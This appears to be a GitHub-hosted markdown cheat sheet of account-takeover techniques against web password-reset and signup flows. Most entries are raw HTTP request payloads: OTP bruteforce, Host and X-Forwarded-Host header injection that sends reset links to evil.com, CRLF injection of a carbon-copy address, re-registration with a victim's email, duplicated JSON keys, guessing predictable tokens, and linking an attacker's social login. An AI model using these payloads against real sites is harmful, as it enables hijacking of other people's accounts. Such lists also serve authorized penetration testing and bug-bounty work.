Skip to content

Latest commit

 

History

History
107 lines (96 loc) · 2.08 KB

AccountTakeover.md

File metadata and controls

107 lines (96 loc) · 2.08 KB

Account Takeover

  1. Parameter pollution in reset password
  1. Bruteforce the OTP code
POST /reset
[...]
[email protected]&code=$123456$
  1. Host header Injection
POST /reset
Host: evil.com
[...]
[email protected]
POST /reset
Host: target.com
X-Forwarded-Host: evil.com
[...]
[email protected]

And the victim will receive the reset link with evil.com

  1. Using separator in value of the parameter
  1. No domain in value of the paramter
POST /reset
[...]
email=victim
  1. No TLD in value of the parameter
POST /reset
[...]
email=victim@mail
  1. Using carbon copy
POST /reset
[...]
[email protected]%0a%0dcc:[email protected]
  1. Try re-sign up using same email
POST /newaccount
[...]
[email protected]&password=1234

After sign up using victim email, try signup again but using different password

POST /newaccount
[...]
[email protected]&password=hacked
  1. If there is JSON data in body requests, add comma
POST /newaccount
[...]
{“email”:“[email protected]”,”[email protected]”,“token”:”xxxxxxxxxx”}
  1. Find out how the tokens generate
  • Generated based on TimeStamp
  • Generated based on the ID of the user
  • Generated based on the email of the user
  • Generated based on the name of the user

For Example

  1. Account takeover after login (Work if inside the website there is "Connect to facebook/twitter/etc")
  • First, login to the website using victim email
  • Find "Connect to facebook/twitter/googleplus" or something like that Photo]
  • Connect to attacker twitter
  • After logout you can login using the twitter